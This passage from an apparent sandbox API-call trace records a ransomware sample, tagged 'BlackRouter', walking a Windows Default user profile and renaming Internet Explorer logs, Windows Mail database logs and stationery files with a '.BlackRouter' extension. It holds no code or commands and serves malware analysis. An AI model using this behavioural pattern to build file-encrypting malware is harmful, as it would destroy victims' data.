lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.267] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.268] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.268] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.269] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0120.086] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x2fa9 [0120.100] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xee195f90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2fb0)) returned 1 [0120.101] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak.BlackRouter" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak.blackrouter")) returned 1 [0120.102] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x2fa9 [0120.107] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xee195f90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2fb0)) returned 1 [0120.107] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.BlackRouter" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt.blackrouter")) returned 1 [0120.934] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x0 [0120.936] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0xb400 [0122.143] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x200000 [0122.323] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.log"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xef6b62d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x200010)) returned 1 [0122.324] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.log"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log.BlackRouter" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.log.blackrouter")) returned 1 [0122.324] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x200000 [0122.520] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb00001.log"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xef8a54b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x200010)) returned 1 [0122.520] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb00001.log"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log.BlackRouter" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb00001.log.blackrouter")) returned 1 [0122.698] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae378 | out: lpFileSizeHigh=0x1ae378*=0x0) returned 0x200000 [0122.899] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\edb00001.log"), fInfoLevelId=0x0, lpFileInformation=0x1ae3c0 | out: lpFileInformation=0x1ae3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x650f7e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x650f7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xefc375b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x200010)) returned 1 [0122.899] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\edb00001.log"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log.BlackRouter" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\edb00001.log.blackrouter")) returned 1 [0122.916] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0xff [0122.918] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xefc83870, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x100)) returned 1 [0122.918] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm.BlackRouter" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm.blackrouter")) returned 1 [0122.919] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0xe7 [0122.921] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x650f7e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x650f7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xefc83870, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0122.921] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm.BlackRouter" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm.blackrouter")) returned 1 [0122.922] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0xed [0122.924] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xefc83870, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0122.924] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm.BlackRouter" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm.blackrouter")) returned 1 [0122.925] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0xeb [0122.927] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xefc83870, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0122.927] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm.BlackRouter" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm.blackrouter")) returned 1 [0122.928] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0xed [0122.930] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xefc83870, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0122.930] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm.BlackRouter" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm.blackrouter")) returned 1 [0122.931] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0xe8 [0122.933] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xefc83870, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0122.933] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm.BlackRouter" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm.blackrouter")) returned 1 [0122.934] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0xe9 [0122.937] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xefca99d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0122.937] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.BlackRouter" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm.blackrouter")) returned 1 [0122.937] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0xed [0122.940] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xefca99d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0122.940] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm.BlackRouter" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm.blackrouter")) returned 1 [0122.940] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0xe8 [0122.943] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6477260, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6477260, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xefca99d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0122.943] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm.BlackRouter" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm.blackrouter")) returned 1 [0122.943] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0xe6 [0122.945] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xefca99d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0122.946] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm.BlackRouter" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm.blackrouter")) returned 1 [0122.949] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x432 [0122.955] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xefccfb30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x440)) returned 1 [0122.955] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.BlackRouter" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg.blackrouter")) returned 1 [0122.956] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x5d3f [0122.960] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xefccfb30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x5d40)) returned 1 [0122.960] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg.BlackRouter" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg.blackrouter")) returned 1 [0122.965] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x1906 [0122.968] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xefcf5c90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1910)) returned 1 [0122.968] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg.BlackRouter" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg.blackrouter")) returned 1 [0122.969] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x107e [0122.973] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xefcf5c90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1080)) returned 1 [0122.974] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg.BlackRouter" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg.blackrouter")) returned 1 [0122.974] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x18ed [0122.977] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xefcf5c90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x18f0)) returned 1 [0122.977] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg.BlackRouter" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg.blackrouter")) returned 1 [0122.978] GetFileSize (in: 